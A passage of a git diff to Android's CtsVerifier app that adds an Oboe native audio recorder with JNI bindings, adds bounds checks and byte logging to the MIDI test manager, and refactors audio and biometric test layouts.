+    oboe::Result result = oboe::Result::ErrorInternal;
+    if (mAudioStream != nullptr) {
+        return ERROR_INVALID_STATE;
+    } else {
+        mChannelCount = channelCount;
+        mSampleRate = sampleRate;
+        mRouteDeviceId = routeDeviceId;
+
+        // Create an audio stream
+        AudioStreamBuilder builder;
+        builder.setChannelCount(mChannelCount);
+        builder.setSampleRate(mSampleRate);
+        builder.setCallback(this);
+        if (mInputPreset != DEFAULT_INPUT_NONE) {
+            builder.setInputPreset((enum InputPreset)mInputPreset);
+        }
+        builder.setPerformanceMode(PerformanceMode::LowLatency);
+        // builder.setPerformanceMode(PerformanceMode::None);
+        builder.setSharingMode(SharingMode::Exclusive);
+        builder.setSampleRateConversionQuality(SampleRateConversionQuality::None);
+        builder.setDirection(Direction::Input);
+
+        if (mRouteDeviceId != -1) {
+            builder.setDeviceId(mRouteDeviceId);
+        }
+
+        mAudioSink->init(mBufferSizeInFrames, mChannelCount);
+
+        if (mSubtype == SUB_TYPE_OBOE_AAUDIO) {
+            builder.setAudioApi(AudioApi::AAudio);
+        } else if (mSubtype == SUB_TYPE_OBOE_OPENSL_ES) {
+            builder.setAudioApi(AudioApi::OpenSLES);
+        }
+
+        result = builder.openStream(mAudioStream);
+        if (result != oboe::Result::OK){
+            __android_log_print(
+                    ANDROID_LOG_ERROR,
+                    TAG,
+                    "openStream failed. Error: %s", convertToText(result));
+        } else {
+            mBufferSizeInFrames = mAudioStream->getFramesPerBurst();
+        }
+    }
+
+    return OboeErrorToMegaAudioError(result);
+}
+
+StreamBase::Result OboeRecorder::startStream() {
+    StreamBase::Result result = Recorder::startStream();
+    if (result == OK) {
+        mAudioSink->start();
+    }
+    return result;
+}
+
+oboe::DataCallbackResult OboeRecorder::onAudioReady(
+        oboe::AudioStream *audioStream, void *audioData, int numFrames) {
+    mAudioSink->push((float*)audioData, numFrames, mChannelCount);
+    return oboe::DataCallbackResult::Continue;
+}
+
+#include <jni.h>
+
+extern "C" {
+JNIEXPORT jlong JNICALL
+Java_org_hyphonate_megaaudio_recorder_OboeRecorder_allocNativeRecorder(JNIEnv *env, jobject thiz, jlong native_audio_sink, jint recorderSubtype) {
+    OboeRecorder* recorder = new OboeRecorder((AudioSink*)native_audio_sink, recorderSubtype);
+    return (jlong)recorder;
+}
+
+JNIEXPORT jint JNICALL
+Java_org_hyphonate_megaaudio_recorder_OboeRecorder_getBufferFrameCountN(
+        JNIEnv *env, jobject thiz, jlong native_recorder) {
+    return ((OboeRecorder*)native_recorder)->getNumBufferFrames();
+}
+
+JNIEXPORT void JNICALL
+Java_org_hyphonate_megaaudio_recorder_OboeRecorder_setInputPresetN(JNIEnv *env, jobject thiz,
+                                                                   jlong native_recorder,
+                                                                   jint input_preset) {
+    ((OboeRecorder*)native_recorder)->setInputPreset(input_preset);
+}
+
+JNIEXPORT jint JNICALL
+Java_org_hyphonate_megaaudio_recorder_OboeRecorder_setupStreamN(JNIEnv *env, jobject thiz,
+                                                                   jlong native_recorder,
+                                                                   jint channel_count,
+                                                                   jint sample_rate,
+                                                                   jint route_device_id) {
+    return ((OboeRecorder*)native_recorder)->setupStream(channel_count, sample_rate, route_device_id);
+}
+
+JNIEXPORT jint JNICALL
+Java_org_hyphonate_megaaudio_recorder_OboeRecorder_teardownStreamN(
+    JNIEnv *env, jobject thiz, jlong native_recorder) {
+    return ((OboeRecorder*)native_recorder)->teardownStream();
+}
+
+JNIEXPORT jint JNICALL
+Java_org_hyphonate_megaaudio_recorder_OboeRecorder_startStreamN(JNIEnv *env, jobject thiz,
+                                                              jlong native_recorder,
+                                                              jint recorder_subtype) {
+    return ((OboeRecorder*)native_recorder)->startStream();
+}
+
+JNIEXPORT jint JNICALL
+Java_org_hyphonate_megaaudio_recorder_OboeRecorder_stopN(JNIEnv *env, jobject thiz,
+                                                       jlong native_recorder) {
+    return ((OboeRecorder*)native_recorder)->stopStream();
+}
+
+JNIEXPORT jboolean JNICALL
+        Java_org_hyphonate_megaaudio_recorder_OboeRecorder_isRecordingN(
+                JNIEnv *env, jobject thiz, jlong native_recorder) {
+    OboeRecorder* nativeRecorder = ((OboeRecorder*)native_recorder);
+    return nativeRecorder->isRecording();
+}
+
+JNIEXPORT jint JNICALL
+Java_org_hyphonate_megaaudio_recorder_OboeRecorder_getNumBufferFramesN(
+        JNIEnv *env, jobject thiz, jlong native_recorder) {
+    OboeRecorder* nativeRecorder = ((OboeRecorder*)native_recorder);
+    return nativeRecorder->getNumBufferFrames();
+}
+
+extern "C"
+JNIEXPORT jint JNICALL
+Java_org_hyphonate_megaaudio_recorder_OboeRecorder_getRoutedDeviceIdN(JNIEnv *env, jobject thiz, jlong native_recorder) {
+    return ((OboeRecorder*)native_recorder)->getRoutedDeviceId();
+}
+
+}   // extern "C"
diff --git a/apps/CtsVerifier/jni/megaaudio/recorder/OboeRecorder.h b/apps/CtsVerifier/jni/megaaudio/recorder/OboeRecorder.h
new file mode 100644
index 0000000..7b1e07a
--- /dev/null
+++ b/apps/CtsVerifier/jni/megaaudio/recorder/OboeRecorder.h
@@ -0,0 +1,53 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef MEGA_RECORDER_OBOERECORDER_H
+#define MEGA_RECORDER_OBOERECORDER_H
+
+#include <mutex>
+
+#include <oboe/Oboe.h>
+
+#include "Recorder.h"
+
+class OboeRecorder: public oboe::AudioStreamCallback, public Recorder {
+public:
+    OboeRecorder(AudioSink* sink, int32_t recorderSubtype);
+    virtual ~OboeRecorder() {}
+
+    // Inherited from oboe::AudioStreamCallback
+    virtual oboe::DataCallbackResult onAudioReady(oboe::AudioStream *audioStream, void *audioData, int numFrames) override;
+//    virtual void onErrorAfterClose(oboe::AudioStream *oboeStream, oboe::Result error) override {}
+//    virtual void onErrorBeforeClose(oboe::AudioStream * oboeStream, oboe::Result error) override {}
+
+    // Inherited from Recorder
+    //
+    // State
+    //
+    virtual bool isRecording() override { return mStreamStarted; }
+
+    virtual Result setupStream(int32_t channelCount, int32_t sampleRate, int32_t routeDeviceId) override;
+
+    virtual Result startStream() override;
+
+    static const int DEFAULT_INPUT_NONE = -1;  // from Recorder.java
+    void setInputPreset(int inputPreset) { mInputPreset = inputPreset; }
+
+private:
+    int32_t mInputPreset;
+};
+
+#endif // MEGA_RECORDER_OBOERECORDER_H
diff --git a/apps/CtsVerifier/jni/megaaudio/recorder/Recorder.h b/apps/CtsVerifier/jni/megaaudio/recorder/Recorder.h
new file mode 100644
index 0000000..c9357ad
--- /dev/null
+++ b/apps/CtsVerifier/jni/megaaudio/recorder/Recorder.h
@@ -0,0 +1,38 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef MEGA_RECORDER_RECORDER_H
+#define MEGA_RECORDER_RECORDER_H
+
+#include <OboeStream.h>
+
+class AudioSink;
+
+class Recorder: public OboeStream {
+public:
+    Recorder(AudioSink* sink, int subtype) : OboeStream(subtype), mAudioSink(sink) {}
+    virtual ~Recorder() {}
+
+    //
+    // State
+    //
+    virtual bool isRecording() = 0;
+
+protected:
+    std::shared_ptr<AudioSink>    mAudioSink;
+};
+
+#endif // MEGA_RECORDER_RECORDER_H
diff --git a/apps/CtsVerifier/jni/midi/MidiTestManager.cpp b/apps/CtsVerifier/jni/midi/MidiTestManager.cpp
index beececf..0981a9d 100644
--- a/apps/CtsVerifier/jni/midi/MidiTestManager.cpp
+++ b/apps/CtsVerifier/jni/midi/MidiTestManager.cpp
@@ -16,11 +16,13 @@
 #include <cstring>
 #include <pthread.h>
 #include <unistd.h>
+#include <stdio.h>
 
 #define TAG "MidiTestManager"
 #include <android/log.h>
 #define ALOGI(...) __android_log_print(ANDROID_LOG_INFO, TAG, __VA_ARGS__)
 #define ALOGE(...) __android_log_print(ANDROID_LOG_ERROR, TAG, __VA_ARGS__)
+#define ALOGD(...) __android_log_print(ANDROID_LOG_DEBUG, TAG, __VA_ARGS__)
 
 #include "MidiTestManager.h"
 
@@ -131,6 +133,20 @@
     mReceiveStreamPos = 0;
 }
 
+static void logBytes(uint8_t* bytes, int count) {
+    int buffSize = (count * 6) + 1; // count of "0x??, " + '\0';
+
+    char* logBuff = new char[buffSize];
+    for (int dataIndex = 0; dataIndex < count; dataIndex++) {
+        sprintf(logBuff + (dataIndex * 6), "0x%.2X", bytes[dataIndex]);
+        if (dataIndex < count - 1) {
+            sprintf(logBuff + (dataIndex * 6) + 4, ", ");
+        }
+    }
+    ALOGD("%s", logBuff);
+    delete[] logBuff;
+}
+
 /**
  * Compares the supplied bytes against the sent message stream at the current postion
  * and advances the stream position.
@@ -139,15 +155,32 @@
     if (DEBUG) {
         ALOGI("---- matchStream() count:%d", count);
     }
+
+    // a little bit of checking here...
+    if (count < 0) {
+        ALOGE("Negative Byte Count in MidiTestManager::matchStream()");
+        return false;
+    }
+
+    if (count > MESSAGE_MAX_BYTES) {
+        ALOGE("Too Large Byte Count (%d) in MidiTestManager::matchStream()", count);
+        return false;
+    }
+
     bool matches = true;
 
     for (int index = 0; index < count; index++) {
+        // Check for buffer overflow
+        if (mReceiveStreamPos >= mNumTestStreamBytes) {
+            ALOGD("matchStream() out-of-bounds @%d", mReceiveStreamPos);
+            matches = false;
+            break;
+        }
+
         if (bytes[index] != mTestStream[mReceiveStreamPos]) {
             matches = false;
-            if (DEBUG) {
-                ALOGI("---- mismatch @%d [%d : %d]",
-                        index, bytes[index], mTestStream[mReceiveStreamPos]);
-            }
+            ALOGD("---- mismatch @%d [%d : %d]",
+                    index, bytes[index], mTestStream[mReceiveStreamPos]);
         }
         mReceiveStreamPos++;
     }
@@ -155,6 +188,11 @@
     if (DEBUG) {
         ALOGI("  returns:%d", matches);
     }
+
+    if (!matches) {
+        ALOGD("Mismatched Received Data:");
+        logBytes(bytes, count);
+    }
     return matches;
 }
 
diff --git a/apps/CtsVerifier/jni/midi/MidiTestManager.h b/apps/CtsVerifier/jni/midi/MidiTestManager.h
index c594efa..d85420d 100644
--- a/apps/CtsVerifier/jni/midi/MidiTestManager.h
+++ b/apps/CtsVerifier/jni/midi/MidiTestManager.h
@@ -44,6 +44,7 @@
     uint8_t*   mTestStream;
     int     mNumTestStreamBytes;
     int     mReceiveStreamPos;
+    static const int MESSAGE_MAX_BYTES = 1024;
 
     AMidiInputPort* mMidiSendPort;
     AMidiOutputPort* mMidiReceivePort;
@@ -65,6 +66,7 @@
     static const int TESTSTATUS_FAILED_DEVICE = 5;
     static const int TESTSTATUS_FAILED_JNI = 6;
 
+
     bool StartReading(AMidiDevice* nativeReadDevice);
     bool StartWriting(AMidiDevice* nativeWriteDevice);
 };
diff --git a/apps/CtsVerifier/res/layout/audio_dev_notify.xml b/apps/CtsVerifier/res/layout/audio_dev_notify.xml
index aa6d3c4..6fa178d 100644
--- a/apps/CtsVerifier/res/layout/audio_dev_notify.xml
+++ b/apps/CtsVerifier/res/layout/audio_dev_notify.xml
@@ -21,35 +21,11 @@
         style="@style/RootLayoutPadding">
 
         <LinearLayout
-        android:layout_width="match_parent"
-        android:layout_height="wrap_content"
-        android:orientation="vertical">
-
-        <TextView
             android:layout_width="match_parent"
             android:layout_height="wrap_content"
-            android:scrollbars="vertical"
-            android:gravity="bottom"
-            android:id="@+id/audio_general_headset_port_exists"
-            android:text="@string/audio_general_headset_port_exists" />
+            android:orientation="vertical">
 
-        <LinearLayout
-            android:layout_width="match_parent"
-            android:layout_height="wrap_content"
-            android:orientation="horizontal">
-
-            <Button
-                android:layout_width="wrap_content"
-                android:layout_height="wrap_content"
-                android:id="@+id/audio_general_headset_no"
-                android:text="@string/audio_general_headset_no" />
-
-            <Button
-                android:layout_width="wrap_content"
-                android:layout_height="wrap_content"
-                android:id="@+id/audio_general_headset_yes"
-                android:text="@string/audio_general_headset_yes" />
-        </LinearLayout>
+        <include layout="@layout/audio_wired_query_layout" />
 
     <TextView
       android:layout_width="match_parent"
diff --git a/apps/CtsVerifier/res/layout/audio_frequency_line_activity.xml b/apps/CtsVerifier/res/layout/audio_frequency_line_activity.xml
index 41292d1..3ae6d43 100644
--- a/apps/CtsVerifier/res/layout/audio_frequency_line_activity.xml
+++ b/apps/CtsVerifier/res/layout/audio_frequency_line_activity.xml
@@ -30,40 +30,7 @@
             android:layout_height="wrap_content"
             android:orientation="vertical"
         >
-            <TextView
-                android:layout_width="match_parent"
-                android:layout_height="wrap_content"
-                android:scrollbars="vertical"
-                android:gravity="bottom"
-                android:id="@+id/audio_general_headset_port_exists"
-                android:text="@string/audio_general_headset_port_exists" />
-
-            <LinearLayout
-                android:layout_width="match_parent"
-                android:layout_height="wrap_content"
-                android:orientation="horizontal"
-            >
-
-                <Button
-                    android:layout_width="wrap_content"
-                    android:layout_height="wrap_content"
-                    android:id="@+id/audio_general_headset_no"
-                    android:text="@string/audio_general_headset_no"
-                    android:nextFocusForward="@+id/audio_general_headset_yes"
-                    android:nextFocusDown="@+id/audio_frequency_line_plug_ready_btn"
-                    android:nextFocusRight="@+id/audio_general_headset_yes"/>
-
-                <Button
-                    android:layout_width="wrap_content"
-                    android:layout_height="wrap_content"
-                    android:id="@+id/audio_general_headset_yes"
-                    android:text="@string/audio_general_headset_yes"
-                    android:nextFocusForward="@+id/audio_frequency_line_plug_ready_btns"
-                    android:nextFocusDown="@+id/audio_frequency_line_plug_ready_btn"
-                    android:nextFocusLeft="@+id/audio_general_headset_no"
-                    android:nextFocusRight="@+id/audio_frequency_line_plug_ready_btn" />
-
-            </LinearLayout>
+            <include layout="@layout/audio_wired_query_layout" />
 
             <TextView
                 android:layout_width="match_parent"
diff --git a/apps/CtsVerifier/res/layout/audio_headset_audio_activity.xml b/apps/CtsVerifier/res/layout/audio_headset_audio_activity.xml
new file mode 100644
index 0000000..005c5e6
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/audio_headset_audio_activity.xml
@@ -0,0 +1,149 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<LinearLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="match_parent"
+    android:layout_height="wrap_content"
+    android:orientation="vertical">
+
+    <LinearLayout
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:orientation="vertical">
+
+        <!-- Has Headset Buttons -->
+        <LinearLayout
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:orientation="vertical">
+            <TextView
+                android:layout_width="match_parent"
+                android:layout_height="wrap_content"
+                android:text="@string/analog_headset_query"/>
+            <LinearLayout
+                android:layout_width="match_parent"
+                android:layout_height="wrap_content"
+                android:orientation="horizontal"
+                android:layout_marginLeft="10dp">
+                <Button
+                    android:text="@string/audio_general_yes"
+                    android:layout_width="wrap_content"
+                    android:layout_height="match_parent"
+                    android:id="@+id/headset_analog_port_yes"/>
+                <Button
+                    android:text="@string/audio_general_no"
+                    android:layout_width="wrap_content"
+                    android:layout_height="match_parent"
+                    android:id="@+id/headset_analog_port_no"/>
+            </LinearLayout>
+        </LinearLayout>
+
+        <!-- Device Connection -->
+        <TextView
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:id="@+id/headset_analog_name"/>
+        <TextView
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:id="@+id/headset_analog_plug_message"/>
+
+        <!-- Player Controls -->
+        <LinearLayout
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:orientation="horizontal"
+            android:layout_marginLeft="10dp">
+            <Button
+                android:text="@string/analog_headset_play"
+                android:layout_width="wrap_content"
+                android:layout_height="match_parent"
+                android:id="@+id/headset_analog_play"/>
+            <Button
+                android:text="@string/analog_headset_stop"
+                android:layout_width="wrap_content"
+                android:layout_height="match_parent"
+                android:id="@+id/headset_analog_stop"/>
+        </LinearLayout>
+    </LinearLayout>
+
+    <!-- Playback Status -->
+    <LinearLayout
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:orientation="vertical">
+
+        <TextView
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:text="@string/analog_headset_success_question"/>
+
+        <LinearLayout
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:orientation="horizontal"
+            android:layout_marginLeft="10dp">
+            <Button
+                android:text="@string/audio_general_yes"
+                android:layout_width="wrap_content"
+                android:layout_height="match_parent"
+                android:id="@+id/headset_analog_play_yes"/>
+            <Button
+                android:text="@string/audio_general_no"
+                android:layout_width="wrap_content"
+                android:layout_height="match_parent"
+                android:id="@+id/headset_analog_play_no"/>
+        </LinearLayout>
+    </LinearLayout>
+
+    <!-- Keycodes -->
+    <LinearLayout
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:orientation="vertical">
+        <TextView
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:text="@string/analog_headset_keycodes_label"/>
+        <LinearLayout
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:orientation="horizontal"
+            android:layout_marginLeft="10dp">
+            <TextView
+                android:layout_width="wrap_content"
+                android:layout_height="wrap_content"
+                android:text="@string/analog_headset_headsethook"
+                android:paddingHorizontal="10dp"
+                android:id="@+id/headset_keycode_headsethook"/>
+            <TextView
+                android:layout_width="wrap_content"
+                android:layout_height="wrap_content"
+                android:text="@string/analog_headset_volup"
+                android:paddingHorizontal="10dp"
+                android:id="@+id/headset_keycode_volume_up"/>
+            <TextView
+                android:layout_width="wrap_content"
+                android:layout_height="wrap_content"
+                android:text="@string/analog_headset_voldown"
+                android:paddingHorizontal="10dp"
+                android:id="@+id/headset_keycode_volume_down"/>
+        </LinearLayout>
+    </LinearLayout>
+    <include layout="@layout/pass_fail_buttons" />
+
+</LinearLayout>
\ No newline at end of file
diff --git a/apps/CtsVerifier/res/layout/audio_input_routingnotifications_test.xml b/apps/CtsVerifier/res/layout/audio_input_routingnotifications_test.xml
index e09475c..16943c9 100644
--- a/apps/CtsVerifier/res/layout/audio_input_routingnotifications_test.xml
+++ b/apps/CtsVerifier/res/layout/audio_input_routingnotifications_test.xml
@@ -25,31 +25,7 @@
         android:layout_height="wrap_content"
         android:orientation="vertical">
 
-        <TextView
-            android:layout_width="match_parent"
-            android:layout_height="wrap_content"
-            android:scrollbars="vertical"
-            android:gravity="bottom"
-            android:id="@+id/audio_general_headset_port_exists"
-            android:text="@string/audio_general_headset_port_exists" />
-
-        <LinearLayout
-            android:layout_width="match_parent"
-            android:layout_height="wrap_content"
-            android:orientation="horizontal">
-
-            <Button
-                android:layout_width="wrap_content"
-                android:layout_height="wrap_content"
-                android:id="@+id/audio_general_headset_no"
-                android:text="@string/audio_general_headset_no" />
-
-            <Button
-                android:layout_width="wrap_content"
-                android:layout_height="wrap_content"
-                android:id="@+id/audio_general_headset_yes"
-                android:text="@string/audio_general_headset_yes" />
-        </LinearLayout>
+    <include layout="@layout/audio_wired_query_layout" />
 
     <TextView
       android:layout_width="match_parent"
diff --git a/apps/CtsVerifier/res/layout/audio_output_routingnotifications_test.xml b/apps/CtsVerifier/res/layout/audio_output_routingnotifications_test.xml
index dc55e2a..1cdb131 100644
--- a/apps/CtsVerifier/res/layout/audio_output_routingnotifications_test.xml
+++ b/apps/CtsVerifier/res/layout/audio_output_routingnotifications_test.xml
@@ -25,32 +25,7 @@
         android:layout_height="wrap_content"
         android:orientation="vertical">
 
-        <TextView
-            android:layout_width="match_parent"
-            android:layout_height="wrap_content"
-            android:scrollbars="vertical"
-            android:gravity="bottom"
-            android:id="@+id/audio_general_headset_port_exists"
-            android:text="@string/audio_general_headset_port_exists" />
-
-        <LinearLayout
-            android:layout_width="match_parent"
-            android:layout_height="wrap_content"
-            android:orientation="horizontal">
-
-            <Button
-                android:layout_width="wrap_content"
-                android:layout_height="wrap_content"
-                android:id="@+id/audio_general_headset_no"
-                android:text="@string/audio_general_headset_no" />
-
-            <Button
-                android:layout_width="wrap_content"
-                android:layout_height="wrap_content"
-                android:id="@+id/audio_general_headset_yes"
-                android:text="@string/audio_general_headset_yes" />
-
-        </LinearLayout>
+    <include layout="@layout/audio_wired_query_layout" />
 
     <TextView
       android:layout_width="match_parent"
diff --git a/apps/CtsVerifier/res/layout/audio_wired_query_layout.xml b/apps/CtsVerifier/res/layout/audio_wired_query_layout.xml
new file mode 100644
index 0000000..bc8038b
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/audio_wired_query_layout.xml
@@ -0,0 +1,32 @@
+<LinearLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="match_parent"
+    android:layout_height="wrap_content"
+    android:orientation="vertical">
+
+    <TextView
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:scrollbars="vertical"
+        android:gravity="bottom"
+        android:id="@+id/audio_wired_port_exists"
+        android:text="@string/audio_wired_exists" />
+
+    <LinearLayout
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:orientation="horizontal">
+
+        <Button
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:id="@+id/audio_wired_no"
+            android:text="@string/audio_wired_no" />
+
+        <Button
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:id="@+id/audio_wired_yes"
+            android:text="@string/audio_wired_yes" />
+    </LinearLayout>
+</LinearLayout>
diff --git a/apps/CtsVerifier/res/layout/biometric_test_credential_enrolled_tests.xml b/apps/CtsVerifier/res/layout/biometric_test_credential_enrolled_tests.xml
deleted file mode 100644
index 41c4e53..0000000
--- a/apps/CtsVerifier/res/layout/biometric_test_credential_enrolled_tests.xml
+++ /dev/null
@@ -1,76 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?><!--
-  ~ Copyright (C) 2020 The Android Open Source Project
-  ~
-  ~ Licensed under the Apache License, Version 2.0 (the "License");
-  ~ you may not use this file except in compliance with the License.
-  ~ You may obtain a copy of the License at
-  ~
-  ~      http://www.apache.org/licenses/LICENSE-2.0
-  ~
-  ~ Unless required by applicable law or agreed to in writing, software
-  ~ distributed under the License is distributed on an "AS IS" BASIS,
-  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  ~ See the License for the specific language governing permissions and
-  ~ limitations under the License.
-  -->
-<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
-              android:layout_width="match_parent"
-              android:layout_height="match_parent"
-              android:orientation="vertical">
-    <TextView
-        style="@style/InstructionsFont"
-        android:layout_width="match_parent"
-        android:layout_height="wrap_content"
-        android:layout_alignParentTop="true"
-        android:gravity="center"
-        android:text="@string/biometric_test_credential_enrolled_instructions" />
-
-    <Button
-        android:id="@+id/enroll_credential_button"
-        android:layout_width="match_parent"
-        android:layout_height="wrap_content"
-        android:layout_centerInParent="true"
-        android:text="@string/biometric_test_credential_enroll_button"/>
-
-    <Button
-        android:id="@+id/bm_button"
-        android:layout_width="match_parent"
-        android:layout_height="wrap_content"
-        android:layout_centerInParent="true"
-        android:enabled="false"
-        android:text="@string/biometric_test_credential_enrolled_bm_button"/>
-
-    <Button
-        android:id="@+id/setAllowedAuthenticators_button"
-        android:layout_width="match_parent"
-        android:layout_height="wrap_content"
-        android:layout_centerInParent="true"
-        android:enabled="false"
-        android:text="@string/biometric_test_credential_enrolled_bp_setAllowedAuthenticators_button"/>
-
-    <Button
-        android:id="@+id/setDeviceCredentialAllowed_button"
-        android:layout_width="wrap_content"
-        android:layout_height="wrap_content"
-        android:layout_centerInParent="true"
-        android:enabled="false"
-        android:text="@string/biometric_test_credential_enrolled_bp_setDeviceCredentialAllowed_button"/>
-    <Button
-        android:id="@+id/authenticate_cancellation_button"
-        android:layout_width="match_parent"
-        android:layout_height="wrap_content"
-        android:layout_centerInParent="true"
-        android:text="@string/biometric_test_cancellation_button"
-        android:enabled="false"/>
-
-    <Space
-        android:layout_width="match_parent"
-        android:layout_height="0dp"
-        android:layout_weight="1"/>
-
-    <include
-        layout="@layout/pass_fail_buttons"
-        android:layout_width="match_parent"
-        android:layout_height="wrap_content"/>
-
-</LinearLayout>
diff --git a/apps/CtsVerifier/res/layout/biometric_test_credential_not_enrolled_tests.xml b/apps/CtsVerifier/res/layout/biometric_test_credential_not_enrolled_tests.xml
deleted file mode 100644
index 6581128..0000000
--- a/apps/CtsVerifier/res/layout/biometric_test_credential_not_enrolled_tests.xml
+++ /dev/null
@@ -1,59 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?><!--
-  ~ Copyright (C) 2020 The Android Open Source Project
-  ~
-  ~ Licensed under the Apache License, Version 2.0 (the "License");
-  ~ you may not use this file except in compliance with the License.
-  ~ You may obtain a copy of the License at
-  ~
-  ~      http://www.apache.org/licenses/LICENSE-2.0
-  ~
-  ~ Unless required by applicable law or agreed to in writing, software
-  ~ distributed under the License is distributed on an "AS IS" BASIS,
-  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  ~ See the License for the specific language governing permissions and
-  ~ limitations under the License.
-  -->
-<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
-                android:layout_width="match_parent"
-                android:layout_height="match_parent"
-                android:orientation="vertical">
-    <TextView
-        style="@style/InstructionsFont"
-        android:layout_width="match_parent"
-        android:layout_height="wrap_content"
-        android:layout_alignParentTop="true"
-        android:gravity="center"
-        android:text="@string/biometric_test_credential_not_enrolled_instructions" />
-
-    <Button
-        android:id="@+id/bm_button"
-        android:layout_width="match_parent"
-        android:layout_height="wrap_content"
-        android:layout_centerInParent="true"
-        android:text="@string/biometric_test_credential_not_enrolled_bm_button"/>
-
-    <Button
-        android:id="@+id/setAllowedAuthenticators_button"
-        android:layout_width="match_parent"
-        android:layout_height="wrap_content"
-        android:layout_centerInParent="true"
-        android:text="@string/biometric_test_credential_not_enrolled_bp_setAllowedAuthenticators_button"/>
-
-    <Button
-        android:id="@+id/setDeviceCredentialAllowed_button"
-        android:layout_width="wrap_content"
-        android:layout_height="wrap_content"
-        android:layout_centerInParent="true"
-        android:text="@string/biometric_test_credential_not_enrolled_bp_setDeviceCredentialAllowed_button"/>
-
-    <Space
-        android:layout_width="match_parent"
-        android:layout_height="0dp"
-        android:layout_weight="1"/>
-
-    <include
-        layout="@layout/pass_fail_buttons"
-        android:layout_width="match_parent"
-        android:layout_height="wrap_content"/>
-
-</LinearLayout>
diff --git a/apps/CtsVerifier/res/layout/biometric_test_sensor_configuration.xml b/apps/CtsVerifier/res/layout/biometric_test_sensor_configuration.xml
deleted file mode 100644
index e1165b6..0000000
--- a/apps/CtsVerifier/res/layout/biometric_test_sensor_configuration.xml
+++ /dev/null
@@ -1,46 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?><!--
-  ~ Copyright (C) 2020 The Android Open Source Project
-  ~
-  ~ Licensed under the Apache License, Version 2.0 (the "License");
-  ~ you may not use this file except in compliance with the License.
-  ~ You may obtain a copy of the License at
-  ~
-  ~      http://www.apache.org/licenses/LICENSE-2.0
-  ~
-  ~ Unless required by applicable law or agreed to in writing, software
-  ~ distributed under the License is distributed on an "AS IS" BASIS,
-  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  ~ See the License for the specific language governing permissions and
-  ~ limitations under the License.
-  -->
-<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
-              android:layout_width="match_parent"
-              android:layout_height="match_parent"
-              android:orientation="vertical">
-
-    <TextView
-        style="@style/InstructionsFont"
-        android:layout_width="match_parent"
-        android:layout_height="wrap_content"
-        android:layout_alignParentTop="true"
-        android:gravity="center"
-        android:text="@string/biometric_test_sensor_configuration_instructions" />
-
-    <Button
-        android:id="@+id/biometric_test_sensor_configuration_button"
-        android:layout_width="match_parent"
-        android:layout_height="wrap_content"
-        android:layout_centerInParent="true"
-        android:text="@string/biometric_test_sensor_configuration_button"/>
-
-    <Space
-        android:layout_width="match_parent"
-        android:layout_height="0dp"
-        android:layout_weight="1"/>
-
-    <include
-        layout="@layout/pass_fail_buttons"
-        android:layout_width="match_parent"
-        android:layout_height="wrap_content"/>
-
-</LinearLayout>
diff --git a/apps/CtsVerifier/res/layout/biometric_test_strong_tests.xml b/apps/CtsVerifier/res/layout/biometric_test_strong_tests.xml
index adae36f..3582a68 100644
--- a/apps/CtsVerifier/res/layout/biometric_test_strong_tests.xml
+++ b/apps/CtsVerifier/res/layout/biometric_test_strong_tests.xml
@@ -57,63 +57,6 @@
                 android:text="@string/biometric_test_strong_authenticate_strongbox_button"
                 android:enabled="false"/>
             <Button
-                android:id="@+id/authenticate_ui_button"
-                android:layout_width="match_parent"
